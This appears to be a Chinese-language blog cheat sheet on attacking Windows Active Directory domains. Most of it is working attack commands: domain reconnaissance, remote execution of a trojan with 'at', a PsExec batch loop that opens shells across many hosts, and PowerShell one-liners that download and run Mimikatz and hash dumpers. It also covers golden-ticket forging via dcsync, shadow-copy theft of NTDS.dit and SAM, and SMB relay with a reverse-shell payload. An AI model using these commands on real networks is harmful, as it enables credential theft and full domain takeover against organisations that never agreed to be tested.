TL;DR
- 域安全笔记
域
- 域(Domain)是相对工作组(Workgroup)的概念,形象的说,域就像中央集权,由一台或数台域控制器(Domain Controller)管理域内的其他计算机;工作组就像各自为政,组内每一台计算机自己管理自己,他人无法干涉。
- 域是一个计算机群体的组合,是一个相对严格的组织,而域控制器则是这个域内的管理核心。
- 一般情况下,域控制器集成了DNS服务,可以解析域内的计算机名称(基于TCP/IP),解决了工作组环境不同网段计算机不能使用计算机名互访的问题。
Active Directory = LDAP服务器+LDAP应用(Windows域控)
就是Active Directory先实现一个LDAP服务器,然后自己先用这个LDAP服务器实现了自己的一个具体应用(域控)。内网信息搜集以及常见域命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76ipconfig /all 查询本机IP段,所在域等
net config Workstation 当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user 本机用户列表
net localhroup administrators 本机管理员[通常含有域用户]
net user /domain 查询域用户
net user 用户名 /domain 获取指定用户的账户信息
net group /domain 查询域里面的工作组
net group 组名 /domain 查询域中的某工作组
net group "domain admins" /domain 查询域管理员列表
net group "enterprise admins" /domain 获得企业管理员列表
net group 组名 /del /domain 删除域中的某组
net group 组名 组成员名 /del /domain 删除域中的某组的组成员
net localgroup administrators /domain 登录本机的域管理员
net group 组名 /add 增加域中的组
net localgroup administrators workgroup\user001 /add 域用户添加到本机
net group "domain controllers" /domain 查看域控制器(如果有多台)
net time /domain 判断主域,主域服务器都做时间服务器
net session 查看当前会话
net use \\ip\ipc$ pawword /user:username@domain 建立IPC会话[空连接-***]
net use z: \\192.168.200.21\文件夹名 建立映射到本机Z盘
net share 查看SMB指向的路径[即共享]
at \\192.168.200.2 0:00 c:\windows\muma.exe 在共享主机上执行
net view 查询同一域内机器列表
net view /domain 查询域列表
net view /domain:M0RK 查看test域中计算机列表
net view \\域控的机器名 查看域控共享情况
nltest /domain_trusts 获取域信任信息
net session 查看当前会话
net start 查看当前运行的服务
net time /domain 查询主域服务器的时间
echo %logonserver% 查看登录认证的机器(即域控机器)
net accounts 查看本地密码策略
net accounts /domain 查看域密码策略
query user 查看当前的登录信息
netsh firewall show config 查看防火墙策略
netsh firewall show state 查看防火墙策略
route print 路由表
tracert IP 路由跟踪
arp -a 列出本网段内所有活跃的IP地址
arp -s (ip + mac) 绑定mac和IP
arp -d (iP + mac) 解绑IP和Mac
tasklist /V 查看进程[显示对应用户]
tasklist /S ip /U domain\username /P /V 查看远程计算机进程列表
tasklist /S IP地址 /U 域名\用户名 /P /V 查看远程计算机进程
tasklist /svc 查看进程
taskkill /im 进程名称(cmd.exe) 结束进程
taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程)
qprocess * 类似tasklist
qprocess /SERVER:IP 远程查看计算机进程列表
whoami /all 查询当前用户权限等
set 查看系统环境变量
systeminfo 查看系统信息
qwinsta 查看登录情况
fsutil fsinfo drives 查看所有盘符
wmic bios 查看bios信息
wmic qfe 查看补丁信息
wmic qfe get hotfixid 查看补丁-Patch号,很实用
wmic share get name,path 查看SMB指向路径
net view /domain
net config workstation
net group "Domain Admins" /domain
net time /domain
ipconfig /all
nslookup xxx
dsquery server
查看域控制器
net group "Domain controllers"
查询所有计算机名称(windows 2003)
dsquery computer
下面这条查询的时候,域控不会列出
net group "Domain Computers" /domain查找域控
1.dsquery server(或者net group “domain controllers” /domain命令)查找到主机名,然后ping一下主机名,得到的ip一般就是域控机器的ip地址了。
2.使用nslookup命令 _ldap._tcp.dc._msdcs.domainname
3.nltest /dclist:domainname
4.cobaltstrike的net dclist直接定位到dc
或者使用powershell的powerview 获取域当前的信息
5.adfind、ldifde、adexplorer等工具
…- 常见脚本
https://pentestlab.blog/2018/05/28/situational-awareness/搞定域控
1.ms14-068 将普通域用户权限提升为域控权限
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068
2.查看哪些主机上存在域管理员的活动会话,找到域管登陆过的机器,进而抓取域管的密码或者哈希。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26## 批量返回shell
@echo off
echo check ip addr config file…
if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
echo read and analysis file…
for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p "PASSWORD" cmd
:end
## 用指定的用户名和密码去遍历ip.txt中的IP列表,并打印任务列表,将结果输出到result.txt当中,执行完了上述批处理,我们只需要稍作等待,最后去查看result.txt当中是否含有域管理员用户名,即可确定哪些主机上存在域管理员的活动会话
@echo off
echo check ip addr config file…
if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
echo read and analysis file…
for /F "eol=#" %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p "PASSWORD" /v) >>d:\result.txt
:end
exit
PTH
哈希传递的工具可参考文章 域渗透——Pass The Hash的实现
PTT-silver ticket
- 注意这里机器的NTLM 是关键,域sid都是一样的
PTT-golden ticket
- 域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要拿到了krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket,此类攻击方法被称为票据传递攻击。
- 获取krbtgt账号ntlm命令是Lsadump::dcsync /user:krbtgt
抓密码或hash
通过powershell抓取某台机器的明文密码或者哈希
1
2
3
4#抓明文
powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1′); Invoke-Mimikatz –DumpCerts
#抓哈希
powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1′);Get-PassHashesdump域数据库
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38vssadmin Create Shadow /for=C: 创建新的卷影副本
成功地创建了 'C:\' 的卷影副本
卷影副本 ID: {ad7dfdec-a8db-4fa3-b2e6-7e1ab1bad2b4}
卷影副本卷名: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3
执行程序:
\\.\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\test\psexec.exe
1.需要先创建好目录,并放入木马或程序
2.再创建新的卷影副本,利用卷影副本卷名来执行程序,并把卷影副本卷名中的 "?" 需要改为 "."号执行程序
Copy Files
有些系统运行中的文件是不可复制的,比如像SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SAM C:\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM C:\
PowerShell调用方法:
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -ComputerName SERVER -localDestination "C:\temp\SYSTEM"
Invoke-NinjaCopy -Path "C:\Windows\NTDS\NTDS.dit" -ComputerName SERVER -localDestination "C:\temp\NTDS.dit"
需要文件:
https://github.com/clymb3r/PowerShell/tree/master/Invoke-NinjaCopy
vssadmin Delete Shadows /shadow={ce51aaf6-5677-4423-86ac-45d064ef626e} /quiet 删除卷影副本
vssadmin Delete Shadows /For=C:
---
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters 查询NTDS路径
获取域数据库
Windows\NTDS\ntds.dit
Windows\System32\config\SYSTEM
Windows\System32\config\SAM
NTDSDump导出域数据库hash值:
NTDSDump.exe -f ntds.dit -s SYSTEM -h -t john -o save.txt
或者:
QuarksPwDump.exe
QuarksPwDump --dump-hash-domain --with-history 导出本机域控历史hash值
域内信息搜集
windows中的Credential Manager的信息获取
- Credential Manager,中文翻译为凭据管理器,用来存储凭据(例如网站登录和主机远程连接的用户名密码)。
- 如果用户选择存储凭据,那么当用户再次使用对应的操作,系统会自动填入凭据,实现自动登录
- 凭据类别包含两种,分别为Domain Credentials和Generic Credentials。
- 凭据读取 mimikatz和powershell脚本
更多可参考Windows中Credential Manager的信息获取横向渗透
横向渗透信息搜集工具SMB
SMB共享枚举
-
1
2
3
4
5
6
7
8
9
10
11
12root@kali:/# smbmap -H [ip] -d [domain] -u [user] -p [password]
[+] Finding open SMB ports....
[+] User SMB session establishd on [ip]...
[+] IP: [ip]:445 Name: [ip]
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ NO ACCESS
NETLOGON READ ONLY
Replication READ ONLY
SYSVOL READ ONLY 使用nmap
1
nmap --script smb-enum-shares -p 139,445 [ip]
查看SMB的漏洞
1 | nmap --script smb-vuln* -p 139,445 [ip] |
trick4 smbrelay
python smbrelayx.py -h 172.24.243.59(被攻击的机器) -e smb_rev.exe
https://github.com/CoreSecurity/impacket/blob/master/examples/smbrelayx.py
再谈SMB中继攻击